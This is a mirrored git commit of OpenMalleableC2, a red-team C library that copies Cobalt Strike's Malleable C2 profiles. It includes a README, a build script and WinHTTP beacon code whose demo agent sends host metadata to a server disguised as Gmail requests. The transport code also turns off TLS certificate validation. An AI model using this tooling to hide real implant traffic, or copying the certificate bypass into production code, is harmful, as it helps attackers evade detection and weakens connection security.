mirror of
https://github.com/CodeXTF2/OpenMalleableC2
synced 2026-06-06 15:24:32 +00:00
first commit
This commit is contained in:
+57
@@ -0,0 +1,57 @@
|
||||
# Build artifacts
|
||||
*.o
|
||||
*.a
|
||||
*.so
|
||||
*.exe
|
||||
*.obj
|
||||
*.dll
|
||||
*.lib
|
||||
*.dylib
|
||||
|
||||
# Compiled binaries
|
||||
tools/openc2lint
|
||||
tools/openc2lint.exe
|
||||
examples/agent_example
|
||||
examples/agent_example.exe
|
||||
.cursor/
|
||||
c2lint/
|
||||
# Python
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.so
|
||||
.Python
|
||||
env/
|
||||
venv/
|
||||
ENV/
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
wheels/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
|
||||
# IDEs
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
.DS_Store
|
||||
|
||||
# Logs
|
||||
*.log
|
||||
|
||||
# Temporary files
|
||||
*.tmp
|
||||
tmp/
|
||||
temp/
|
||||
@@ -0,0 +1,138 @@
|
||||
# OpenMalleableC2
|
||||
|
||||
**Open Source Implementation of Cobalt Strike's Malleable C2**
|
||||
|
||||
OpenMalleableC2 is a framework-agnostic library that implements Cobalt Strike's Malleable C2 profile format for HTTP transformations. It enables security researchers and red teams to easily implement malleable C2 communications in custom tools and C2 frameworks.
|
||||
|
||||
It allows wholesale usage of Malleable C2 profiles to send arbitrary data over HTTP, in a transparent, stable (hopefully) way.
|
||||
|
||||
## Why did I make this?
|
||||
There are many open source C2 frameworks that have varying degrees of HTTP traffic customization features. However, even the more developed frameworks such as Mythic, Havoc, Adaptix etc. still lack the depth of HTTP traffic customization that Cobalt Strike's Malleable C2 allows, in terms of embedding callback data within convincingly innocent looking HTTP requests. The goal of this project is to allow open source tooling to both benefit from the customization depth of the Malleable C2 system as well as the existing resources dependent on it (e.g. profiles, profile generator tools etc.)
|
||||
|
||||
Its mostly working, but I make no guarantees about its stability at this time. Do report bugs if found :)
|
||||
|
||||
|
||||
## Quick Start
|
||||
|
||||
The provided example is a simple "ping pong" agent and server that demonstrates the typical Beacon callback. The agent will send back a GET callback to check-in for taskings, then send a POST callback to post task output back to the server.
|
||||
|
||||
In this example, the taskings are just a placeholder random string, that the agent will retrieve, reverse and post back as the result. The server verifies that the reversed string is correct, and sends a response accordingly.
|
||||
|
||||
|
||||
**Run ping-pong example:**
|
||||
```
|
||||
# Start server
|
||||
python examples\pingpong_server.py profiles\gmail.profile
|
||||
|
||||
# Run agent (in another terminal)
|
||||
.\examples\pingpong_agent.exe profiles\gmail.profile
|
||||
```
|
||||
|
||||
Example output:
|
||||
pingpong_server.py:
|
||||
```
|
||||
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
|
||||
* Running on http://127.0.0.1:8080
|
||||
Press CTRL+C to quit
|
||||
|
||||
[DEBUG] GET request received!
|
||||
[DEBUG] Raw HTTP request:
|
||||
GET /_/scs/mail-static/_/js/? HTTP/1.1
|
||||
Connection: Keep-Alive
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Cookie: OSID=QkVBQ09OLUNIRUNLSU46IENvbXB1dGVyPURFU0tUT1AtSzVJRVY0RiBVc2VyPUFkbWluIFBJRD0zODc2OCBPUz1XaW5kb3dzIEFyY2g9eDY0IFRpbWVzdGFtcD0xNzY5NTA1NjYw
|
||||
User-Agent: Mozilla/5.0
|
||||
Dnt: 1
|
||||
Host: 127.0.0.1:8080
|
||||
|
||||
|
||||
============================================================
|
||||
[Server] Received GET /_/scs/mail-static/_/js/
|
||||
============================================================
|
||||
[Server] Extracted metadata (102 bytes):
|
||||
[Server] BEACON-CHECKIN: Computer=DESKTOP-K5IEV4F User=Admin PID=38768 OS=Windows Arch=x64 Timestamp=1769505660
|
||||
[Server] Generated challenge: DjjYXnXcLSpwGPzJqcdUfOsIlEy7sO0k
|
||||
[Server] Sending task (32 bytes):
|
||||
[Server] "DjjYXnXcLSpwGPzJqcdUfOsIlEy7sO0k"
|
||||
[DEBUG] Raw HTTP response:
|
||||
HTTP/1.1 200 OK
|
||||
Content-Length: 832
|
||||
X-Content-Type-Options: nosniff
|
||||
X-Frame-Options: SAMEORIGIN
|
||||
Cache-Control: public, max-age=31536000
|
||||
X-XSS-Protection: 1; mode=block
|
||||
Server: GSE
|
||||
Alternate-Protocol: 443:quic,p=1
|
||||
|
||||
try()catch(e)(_DumpException(e))N(L.Oa(),"sy558");P(L.Oa(),"sy558");O(L.Oa(),"sy558");try()catch(e)(_DumpException(e))N(L.Oa(),"sy580");P(L.Oa(),"sy580");O(L.Oa(),"sy580")try(DjjYXnXcLSpwGPzJqcdUfOsIlEy7sO0kvar f2=function(a)(a=a.wa;return"application/chromium-bookmark-folder"==a||"application/chromium-root-folder"==a||"application/vnd.google-apps.folder"==a||"application/vnd.google-apps.photoalbum"==a||"application/vnd.google-apps.rollupphotoalbum"==a),g2=function(a)(return a.ra),s8d=function(a)(return a?hb(a,function(a)(return new UP(a)):[]),h2=function(a)(switch(a)(case "all":case "docs-images":case "docs-images-and-videos":case "docs-videos":case "documents":case "drawings":case "folders":case "forms":case "pdfs":case "presentations":case "sites":case "spreadsheets":case "tables":return!0)return!1); O(L.Oa(),"sy588")
|
||||
127.0.0.1 - - [27/Jan/2026 17:21:00] "GET /_/scs/mail-static/_/js/ HTTP/1.1" 200 -
|
||||
|
||||
[DEBUG] POST request received!
|
||||
[DEBUG] Raw HTTP request:
|
||||
POST /mail/u/0/?ui=d3244c4707&hop=6928632&start=0 HTTP/1.1
|
||||
Connection: Keep-Alive
|
||||
Content-Type: application/x-www-form-urlencoded;charset=utf-8
|
||||
Cookie: OSID=MTQ4MzA=
|
||||
User-Agent: Mozilla/5.0
|
||||
Content-Length: 80
|
||||
Host: 127.0.0.1:8080
|
||||
|
||||
VEFTSy1SRVNVTFQ6IFJldmVyc2VkT3V0cHV0PWswT3M3eUVsSXNPZlVkY3FKelBHd3BTTGNYblhZampE
|
||||
|
||||
============================================================
|
||||
[Server] Received POST /mail/u/0/
|
||||
============================================================
|
||||
[Server] Extracted session ID (5 bytes):
|
||||
[Server] 14830
|
||||
[Server] Extracted task output (60 bytes):
|
||||
[Server] TASK-RESULT: ReversedOutput=k0Os7yElIsOfUdcqJzPGwpSLcXnXYjjD
|
||||
[Server] Original challenge: DjjYXnXcLSpwGPzJqcdUfOsIlEy7sO0k
|
||||
[Server] Expected reversed: k0Os7yElIsOfUdcqJzPGwpSLcXnXYjjD
|
||||
[Server] SUCCESS! Verified reversed challenge in output
|
||||
[Server] Sending confirmation (74 bytes)
|
||||
[DEBUG] Raw HTTP response:
|
||||
HTTP/1.1 200 OK
|
||||
Content-Length: 176
|
||||
X-Content-Type-Options: nosniff
|
||||
X-Frame-Options: SAMEORIGIN
|
||||
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|
||||
X-XSS-Protection: 1; mode=block
|
||||
Server: GSE
|
||||
|
||||
W1tbImFwbSIsIkNPTkZJUk1FRDogVGFzayBjb21wbGV0ZWQgc3VjY2Vzc2Z1bGx5ISBSZWNlaXZlZCByZXZlcnNlZCBzdHJpbmcgY29ycmVjdGx5Il0sWyJjaSIsW11dLFsiY20iLFtdLFtdXV0sJ2RiYjg3OTZhODBkNDVlMWYnXQ==
|
||||
127.0.0.1 - - [27/Jan/2026 17:21:00] "POST /mail/u/0/?ui=d3244c4707&hop=6928632&start=0 HTTP/1.1" 200 -
|
||||
```
|
||||
|
||||
pingpong_agent.exe
|
||||
```
|
||||
============================================================
|
||||
Ping Pong PoC Agent
|
||||
============================================================
|
||||
[Agent] Reading profile file: ..\profiles\gmail.profile
|
||||
[Agent] Parsing profile from memory...
|
||||
[Agent] Profile loaded: unnamed
|
||||
[Agent] User-Agent: (none)
|
||||
|
||||
[Agent] ===== GET: Requesting tasks from server =====
|
||||
[Agent] Metadata (102 bytes): "BEACON-CHECKIN: Computer=DESKTOP-K5IEV4F User=Admin PID=38768 OS=Windows Arch=x64 Timestamp=1769505660"
|
||||
[Agent] Received task (32 bytes): "DjjYXnXcLSpwGPzJqcdUfOsIlEy7sO0k"
|
||||
[Agent] Task string: "DjjYXnXcLSpwGPzJqcdUfOsIlEy7sO0k"
|
||||
[Agent] Reversed task: "k0Os7yElIsOfUdcqJzPGwpSLcXnXYjjD"
|
||||
|
||||
[Agent] ===== POST: Sending task results to server =====
|
||||
[Agent] Session ID (5 bytes): "14830"
|
||||
[Agent] Task output (60 bytes): "TASK-RESULT: ReversedOutput=k0Os7yElIsOfUdcqJzPGwpSLcXnXYjjD"
|
||||
[Agent] Server confirmation (74 bytes): "CONFIRMED: Task completed successfully! Received reversed string correctly"
|
||||
|
||||
[Agent] ===== Ping pong complete =====
|
||||
[Agent] Successfully executed server task and reported results!
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [Cobalt Strike Malleable C2 Documentation](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm)
|
||||
- [Malleable C2 Profiles Repository](https://github.com/cobalt-strike/Malleable-C2-Profiles)
|
||||
- Chet Jeepiti
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
@echo off
|
||||
REM Build script for OpenMalleable Examples
|
||||
|
||||
echo ========================================
|
||||
echo Building OpenMalleable Examples
|
||||
echo ========================================
|
||||
echo.
|
||||
|
||||
REM Check for standalone clang-cl.exe in parent directory
|
||||
if exist "..\clang-cl.exe" (
|
||||
echo Found Clang-CL compiler
|
||||
echo.
|
||||
echo Building pingpong_agent...
|
||||
"..\clang-cl.exe" /nologo /O2 /Fe:pingpong_agent.exe pingpong_agent.c include\openmalleable.c include\malleable_http_win.c include\malleable_callbacks.c /I include advapi32.lib
|
||||
if %ERRORLEVEL% EQU 0 (
|
||||
echo.
|
||||
echo ========================================
|
||||
echo Build successful!
|
||||
echo ========================================
|
||||
echo Executable: pingpong_agent.exe
|
||||
echo.
|
||||
echo To test:
|
||||
echo pingpong_agent.exe ..\profiles\random.profile
|
||||
exit /b 0
|
||||
) else (
|
||||
echo Build failed!
|
||||
exit /b 1
|
||||
)
|
||||
)
|
||||
|
||||
REM Check for system-wide clang-cl
|
||||
where clang-cl >nul 2>&1
|
||||
if %ERRORLEVEL% EQU 0 (
|
||||
echo Found system Clang-CL compiler
|
||||
echo.
|
||||
echo Building pingpong_agent...
|
||||
clang-cl /nologo /O2 /Fe:pingpong_agent.exe pingpong_agent.c include\openmalleable.c include\malleable_http_win.c include\malleable_callbacks.c /I include advapi32.lib
|
||||
if %ERRORLEVEL% EQU 0 (
|
||||
echo.
|
||||
echo ========================================
|
||||
echo Build successful!
|
||||
echo ========================================
|
||||
echo Executable: pingpong_agent.exe
|
||||
echo.
|
||||
echo To test:
|
||||
echo pingpong_agent.exe ..\profiles\random.profile
|
||||
exit /b 0
|
||||
) else (
|
||||
echo Build failed!
|
||||
exit /b 1
|
||||
)
|
||||
)
|
||||
|
||||
REM Check for GCC
|
||||
where gcc >nul 2>&1
|
||||
if %ERRORLEVEL% EQU 0 (
|
||||
echo Found GCC compiler
|
||||
echo.
|
||||
echo Building pingpong_agent...
|
||||
gcc -O2 -o pingpong_agent.exe pingpong_agent.c include\openmalleable.c include\malleable_http_win.c include\malleable_callbacks.c -I include -lwinhttp -ladvapi32
|
||||
if %ERRORLEVEL% EQU 0 (
|
||||
echo.
|
||||
echo ========================================
|
||||
echo Build successful!
|
||||
echo ========================================
|
||||
echo Executable: pingpong_agent.exe
|
||||
echo.
|
||||
echo To test:
|
||||
echo pingpong_agent.exe ..\profiles\random.profile
|
||||
exit /b 0
|
||||
) else (
|
||||
echo Build failed!
|
||||
exit /b 1
|
||||
)
|
||||
)
|
||||
|
||||
echo ========================================
|
||||
echo ERROR: No C compiler found!
|
||||
echo ========================================
|
||||
echo.
|
||||
echo Please install Clang, GCC, or MSVC
|
||||
exit /b 1
|
||||
@@ -0,0 +1,155 @@
|
||||
/**
|
||||
* Malleable - Transparent Callback API Implementation
|
||||
*
|
||||
* High-level functions that combine request building, HTTP transport, and response parsing.
|
||||
* Link this file along with malleable_http_win.c to get full callback functionality.
|
||||
*/
|
||||
|
||||
#include "openmalleable.h"
|
||||
#include "malleable_http_win.h"
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
malleable_error_t malleable_callback_get(
|
||||
const malleable_profile_t* profile,
|
||||
const char* variant,
|
||||
const char* host,
|
||||
int port,
|
||||
int use_https,
|
||||
const uint8_t* metadata,
|
||||
size_t metadata_len,
|
||||
uint8_t** tasks_out,
|
||||
size_t* tasks_len_out
|
||||
) {
|
||||
if (!profile || !host || !metadata || !tasks_out || !tasks_len_out) {
|
||||
return MALLEABLE_ERROR_INVALID_PROFILE;
|
||||
}
|
||||
|
||||
// Default ports
|
||||
if (port == 0) {
|
||||
port = use_https ? 443 : 80;
|
||||
}
|
||||
|
||||
// Step 1: Build GET request with metadata
|
||||
malleable_http_request_t* request = NULL;
|
||||
malleable_error_t err = malleable_build_get_request(
|
||||
profile, variant, metadata, metadata_len, &request
|
||||
);
|
||||
if (err != MALLEABLE_SUCCESS) {
|
||||
return err;
|
||||
}
|
||||
|
||||
// Step 2: Send HTTP request
|
||||
malleable_http_response_t* response = NULL;
|
||||
err = malleable_http_send(host, port, use_https, request, &response);
|
||||
malleable_http_request_free(request);
|
||||
|
||||
if (err != MALLEABLE_SUCCESS) {
|
||||
return err;
|
||||
}
|
||||
|
||||
// Step 3: Parse response and extract tasks
|
||||
err = malleable_parse_get_response(profile, variant, response, tasks_out, tasks_len_out);
|
||||
malleable_http_response_free(response);
|
||||
|
||||
return err;
|
||||
}
|
||||
|
||||
malleable_error_t malleable_callback_post(
|
||||
const malleable_profile_t* profile,
|
||||
const char* variant,
|
||||
const char* host,
|
||||
int port,
|
||||
int use_https,
|
||||
const uint8_t* session_id,
|
||||
size_t id_len,
|
||||
const uint8_t* output,
|
||||
size_t output_len,
|
||||
uint8_t** response_out,
|
||||
size_t* response_len_out
|
||||
) {
|
||||
if (!profile || !host || !session_id || !output) {
|
||||
return MALLEABLE_ERROR_INVALID_PROFILE;
|
||||
}
|
||||
|
||||
// Default ports
|
||||
if (port == 0) {
|
||||
port = use_https ? 443 : 80;
|
||||
}
|
||||
|
||||
// Step 1: Build POST request with session ID and output
|
||||
malleable_http_request_t* request = NULL;
|
||||
malleable_error_t err = malleable_build_post_request(
|
||||
profile, variant, session_id, id_len, output, output_len, &request
|
||||
);
|
||||
if (err != MALLEABLE_SUCCESS) {
|
||||
return err;
|
||||
}
|
||||
|
||||
// Step 2: Send HTTP request
|
||||
malleable_http_response_t* response = NULL;
|
||||
err = malleable_http_send(host, port, use_https, request, &response);
|
||||
malleable_http_request_free(request);
|
||||
|
||||
if (err != MALLEABLE_SUCCESS) {
|
||||
return err;
|
||||
}
|
||||
|
||||
// Step 3: Optionally parse response data (POST responses often empty)
|
||||
if (response_out && response_len_out && response->body_len > 0) {
|
||||
// Try to extract response data if present
|
||||
malleable_http_transaction_t* txn = malleable_find_transaction(
|
||||
profile->http_post_transactions,
|
||||
profile->num_http_post,
|
||||
variant
|
||||
);
|
||||
|
||||
if (txn && txn->server.output) {
|
||||
// Extract and reverse transform server response
|
||||
const char* extracted = NULL;
|
||||
char* extracted_copy = NULL;
|
||||
|
||||
switch (txn->server.output->termination.type) {
|
||||
case MALLEABLE_TERM_PRINT:
|
||||
if (response->body && response->body_len > 0) {
|
||||
extracted_copy = (char*)malloc(response->body_len + 1);
|
||||
if (extracted_copy) {
|
||||
memcpy(extracted_copy, response->body, response->body_len);
|
||||
extracted_copy[response->body_len] = '\0';
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case MALLEABLE_TERM_HEADER:
|
||||
for (size_t i = 0; i < response->num_headers; i++) {
|
||||
const char* header = response->headers[i];
|
||||
size_t name_len = strlen(txn->server.output->termination.target);
|
||||
if (strncmp(header, txn->server.output->termination.target, name_len) == 0 &&
|
||||
header[name_len] == ':') {
|
||||
extracted = header + name_len + 1;
|
||||
while (*extracted == ' ') extracted++;
|
||||
extracted_copy = _strdup(extracted);
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
if (extracted_copy) {
|
||||
size_t extracted_len = strlen(extracted_copy);
|
||||
err = malleable_transform_reverse(txn->server.output,
|
||||
(uint8_t*)extracted_copy,
|
||||
extracted_len,
|
||||
response_out,
|
||||
response_len_out);
|
||||
free(extracted_copy);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
malleable_http_response_free(response);
|
||||
return MALLEABLE_SUCCESS;
|
||||
}
|
||||
@@ -0,0 +1,293 @@
|
||||
/**
|
||||
* Malleable - Windows HTTP Transport Implementation
|
||||
*/
|
||||
|
||||
#include "malleable_http_win.h"
|
||||
#include <windows.h>
|
||||
#include <winhttp.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#pragma comment(lib, "winhttp.lib")
|
||||
|
||||
/* Helper to convert ASCII to wide string */
|
||||
static LPWSTR ascii_to_wide(const char* str) {
|
||||
if (!str) return NULL;
|
||||
|
||||
int len = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);
|
||||
if (len == 0) return NULL;
|
||||
|
||||
LPWSTR wstr = (LPWSTR)malloc(len * sizeof(WCHAR));
|
||||
if (!wstr) return NULL;
|
||||
|
||||
MultiByteToWideChar(CP_ACP, 0, str, -1, wstr, len);
|
||||
return wstr;
|
||||
}
|
||||
|
||||
/* Helper to convert wide string to ASCII */
|
||||
static char* wide_to_ascii(LPCWSTR wstr) {
|
||||
if (!wstr) return NULL;
|
||||
|
||||
int len = WideCharToMultiByte(CP_ACP, 0, wstr, -1, NULL, 0, NULL, NULL);
|
||||
if (len == 0) return NULL;
|
||||
|
||||
char* str = (char*)malloc(len);
|
||||
if (!str) return NULL;
|
||||
|
||||
WideCharToMultiByte(CP_ACP, 0, wstr, -1, str, len, NULL, NULL);
|
||||
return str;
|
||||
}
|
||||
|
||||
malleable_error_t malleable_http_send(
|
||||
const char* host,
|
||||
int port,
|
||||
int use_https,
|
||||
const malleable_http_request_t* request,
|
||||
malleable_http_response_t** response
|
||||
) {
|
||||
if (!host || !request || !response) {
|
||||
return MALLEABLE_ERROR_INVALID_PROFILE;
|
||||
}
|
||||
|
||||
malleable_error_t result = MALLEABLE_ERROR_TRANSFORM_FAILED;
|
||||
HINTERNET hSession = NULL;
|
||||
HINTERNET hConnect = NULL;
|
||||
HINTERNET hRequest = NULL;
|
||||
LPWSTR whost = NULL;
|
||||
LPWSTR wuri = NULL;
|
||||
LPWSTR wmethod = NULL;
|
||||
LPWSTR wheaders = NULL;
|
||||
|
||||
// Initialize WinHTTP
|
||||
whost = ascii_to_wide(host);
|
||||
wuri = ascii_to_wide(request->uri);
|
||||
wmethod = ascii_to_wide(request->method);
|
||||
|
||||
if (!whost || !wuri || !wmethod) {
|
||||
result = MALLEABLE_ERROR_MEMORY;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Create session
|
||||
hSession = WinHttpOpen(
|
||||
L"Mozilla/5.0",
|
||||
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
|
||||
WINHTTP_NO_PROXY_NAME,
|
||||
WINHTTP_NO_PROXY_BYPASS,
|
||||
0
|
||||
);
|
||||
|
||||
if (!hSession) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Set timeouts (30 seconds)
|
||||
WinHttpSetTimeouts(hSession, 30000, 30000, 30000, 30000);
|
||||
|
||||
// Connect to server
|
||||
hConnect = WinHttpConnect(
|
||||
hSession,
|
||||
whost,
|
||||
(INTERNET_PORT)port,
|
||||
0
|
||||
);
|
||||
|
||||
if (!hConnect) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Open request
|
||||
DWORD dwFlags = (use_https ? WINHTTP_FLAG_SECURE : 0);
|
||||
|
||||
hRequest = WinHttpOpenRequest(
|
||||
hConnect,
|
||||
wmethod,
|
||||
wuri,
|
||||
NULL,
|
||||
WINHTTP_NO_REFERER,
|
||||
WINHTTP_DEFAULT_ACCEPT_TYPES,
|
||||
dwFlags
|
||||
);
|
||||
|
||||
if (!hRequest) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Disable SSL certificate validation for testing (REMOVE IN PRODUCTION!)
|
||||
if (use_https) {
|
||||
DWORD dwSecurityFlags =
|
||||
SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||
|
||||
WinHttpSetOption(
|
||||
hRequest,
|
||||
WINHTTP_OPTION_SECURITY_FLAGS,
|
||||
&dwSecurityFlags,
|
||||
sizeof(dwSecurityFlags)
|
||||
);
|
||||
}
|
||||
|
||||
// Build headers string
|
||||
size_t headers_len = 0;
|
||||
for (size_t i = 0; i < request->num_headers; i++) {
|
||||
headers_len += strlen(request->headers[i]) + 2; // +2 for \r\n
|
||||
}
|
||||
|
||||
char* headers_str = NULL;
|
||||
if (headers_len > 0) {
|
||||
headers_str = (char*)malloc(headers_len + 1);
|
||||
if (!headers_str) {
|
||||
result = MALLEABLE_ERROR_MEMORY;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
headers_str[0] = '\0';
|
||||
for (size_t i = 0; i < request->num_headers; i++) {
|
||||
strcat_s(headers_str, headers_len + 1, request->headers[i]);
|
||||
strcat_s(headers_str, headers_len + 1, "\r\n");
|
||||
}
|
||||
|
||||
wheaders = ascii_to_wide(headers_str);
|
||||
free(headers_str);
|
||||
|
||||
if (!wheaders) {
|
||||
result = MALLEABLE_ERROR_MEMORY;
|
||||
goto cleanup;
|
||||
}
|
||||
}
|
||||
|
||||
// Send request
|
||||
BOOL bResult = WinHttpSendRequest(
|
||||
hRequest,
|
||||
wheaders ? wheaders : WINHTTP_NO_ADDITIONAL_HEADERS,
|
||||
wheaders ? -1L : 0,
|
||||
(LPVOID)request->body,
|
||||
(DWORD)request->body_len,
|
||||
(DWORD)request->body_len,
|
||||
0
|
||||
);
|
||||
|
||||
if (!bResult) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Receive response
|
||||
bResult = WinHttpReceiveResponse(hRequest, NULL);
|
||||
if (!bResult) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Allocate response structure
|
||||
malleable_http_response_t* resp = (malleable_http_response_t*)calloc(1, sizeof(malleable_http_response_t));
|
||||
if (!resp) {
|
||||
result = MALLEABLE_ERROR_MEMORY;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Get status code
|
||||
DWORD dwStatusCode = 0;
|
||||
DWORD dwSize = sizeof(DWORD);
|
||||
WinHttpQueryHeaders(
|
||||
hRequest,
|
||||
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
|
||||
NULL,
|
||||
&dwStatusCode,
|
||||
&dwSize,
|
||||
NULL
|
||||
);
|
||||
resp->status_code = (int)dwStatusCode;
|
||||
|
||||
// Get response headers
|
||||
dwSize = 0;
|
||||
WinHttpQueryHeaders(
|
||||
hRequest,
|
||||
WINHTTP_QUERY_RAW_HEADERS_CRLF,
|
||||
NULL,
|
||||
NULL,
|
||||
&dwSize,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (dwSize > 0) {
|
||||
LPWSTR wresponse_headers = (LPWSTR)malloc(dwSize);
|
||||
if (wresponse_headers) {
|
||||
if (WinHttpQueryHeaders(
|
||||
hRequest,
|
||||
WINHTTP_QUERY_RAW_HEADERS_CRLF,
|
||||
NULL,
|
||||
wresponse_headers,
|
||||
&dwSize,
|
||||
NULL
|
||||
)) {
|
||||
char* response_headers = wide_to_ascii(wresponse_headers);
|
||||
if (response_headers) {
|
||||
// Parse headers into array
|
||||
char* context = NULL;
|
||||
char* line = strtok_s(response_headers, "\r\n", &context);
|
||||
while (line) {
|
||||
if (strlen(line) > 0 && strchr(line, ':')) {
|
||||
resp->num_headers++;
|
||||
resp->headers = (char**)realloc(resp->headers, resp->num_headers * sizeof(char*));
|
||||
if (resp->headers) {
|
||||
resp->headers[resp->num_headers - 1] = _strdup(line);
|
||||
}
|
||||
}
|
||||
line = strtok_s(NULL, "\r\n", &context);
|
||||
}
|
||||
free(response_headers);
|
||||
}
|
||||
}
|
||||
free(wresponse_headers);
|
||||
}
|
||||
}
|
||||
|
||||
// Read response body
|
||||
DWORD dwTotalSize = 0;
|
||||
DWORD dwDownloaded = 0;
|
||||
BYTE* pBuffer = NULL;
|
||||
|
||||
do {
|
||||
dwSize = 0;
|
||||
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (dwSize == 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
pBuffer = (BYTE*)realloc(resp->body, dwTotalSize + dwSize);
|
||||
if (!pBuffer) {
|
||||
result = MALLEABLE_ERROR_MEMORY;
|
||||
malleable_http_response_free(resp);
|
||||
goto cleanup;
|
||||
}
|
||||
resp->body = pBuffer;
|
||||
|
||||
if (!WinHttpReadData(hRequest, resp->body + dwTotalSize, dwSize, &dwDownloaded)) {
|
||||
break;
|
||||
}
|
||||
|
||||
dwTotalSize += dwDownloaded;
|
||||
|
||||
} while (dwSize > 0);
|
||||
|
||||
resp->body_len = dwTotalSize;
|
||||
|
||||
*response = resp;
|
||||
result = MALLEABLE_SUCCESS;
|
||||
|
||||
cleanup:
|
||||
if (wheaders) free(wheaders);
|
||||
if (wmethod) free(wmethod);
|
||||
if (wuri) free(wuri);
|
||||
if (whost) free(whost);
|
||||
if (hRequest) WinHttpCloseHandle(hRequest);
|
||||
if (hConnect) WinHttpCloseHandle(hConnect);
|
||||
if (hSession) WinHttpCloseHandle(hSession);
|
||||
|
||||
return result;
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
/**
|
||||
* Malleable - Windows HTTP Transport
|
||||
*
|
||||
* WinHTTP-based HTTP/HTTPS client for Windows platforms.
|
||||
* This module provides actual network connectivity for malleable C2 callbacks.
|
||||
*/
|
||||
|
||||
#ifndef MALLEABLE_HTTP_WIN_H
|
||||
#define MALLEABLE_HTTP_WIN_H
|
||||
|
||||
#include "openmalleable.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/**
|
||||
* Send an HTTP request and receive response using WinHTTP
|
||||
*
|
||||
* @param host Target host (domain or IP address)
|
||||
* @param port Target port (default: 80 for HTTP, 443 for HTTPS)
|
||||
* @param use_https Use HTTPS/TLS if true, plain HTTP if false
|
||||
* @param request Request structure to send
|
||||
* @param response Output response structure (caller must free with malleable_http_response_free)
|
||||
* @return MALLEABLE_SUCCESS or error code
|
||||
*/
|
||||
malleable_error_t malleable_http_send(
|
||||
const char* host,
|
||||
int port,
|
||||
int use_https,
|
||||
const malleable_http_request_t* request,
|
||||
malleable_http_response_t** response
|
||||
);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* MALLEABLE_HTTP_WIN_H */
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,486 @@
|
||||
/**
|
||||
* Malleable - Open Source Malleable C2 Profile Implementation
|
||||
*
|
||||
* Framework-agnostic HTTP transformation library implementing Cobalt Strike's
|
||||
* Malleable C2 profile format for security research and testing.
|
||||
*/
|
||||
|
||||
#ifndef OPENMALLEABLE_H
|
||||
#define OPENMALLEABLE_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* ===================================================================== */
|
||||
/* DATA STRUCTURES */
|
||||
/* ===================================================================== */
|
||||
|
||||
/**
|
||||
* Transform types supported in malleable profiles
|
||||
*/
|
||||
typedef enum {
|
||||
MALLEABLE_TRANSFORM_BASE64,
|
||||
MALLEABLE_TRANSFORM_BASE64URL,
|
||||
MALLEABLE_TRANSFORM_NETBIOS,
|
||||
MALLEABLE_TRANSFORM_NETBIOSU,
|
||||
MALLEABLE_TRANSFORM_MASK,
|
||||
MALLEABLE_TRANSFORM_PREPEND,
|
||||
MALLEABLE_TRANSFORM_APPEND
|
||||
} malleable_transform_type_t;
|
||||
|
||||
/**
|
||||
* Termination statement types
|
||||
*/
|
||||
typedef enum {
|
||||
MALLEABLE_TERM_HEADER,
|
||||
MALLEABLE_TERM_PARAMETER,
|
||||
MALLEABLE_TERM_PRINT,
|
||||
MALLEABLE_TERM_URI_APPEND
|
||||
} malleable_termination_type_t;
|
||||
|
||||
/**
|
||||
* HTTP methods
|
||||
*/
|
||||
typedef enum {
|
||||
MALLEABLE_HTTP_GET,
|
||||
MALLEABLE_HTTP_POST
|
||||
} malleable_http_method_t;
|
||||
|
||||
/**
|
||||
* A single transform step in a data transformation chain
|
||||
*/
|
||||
typedef struct {
|
||||
malleable_transform_type_t type;
|
||||
char* argument; // For prepend/append transforms (NULL otherwise)
|
||||
} malleable_transform_t;
|
||||
|
||||
/**
|
||||
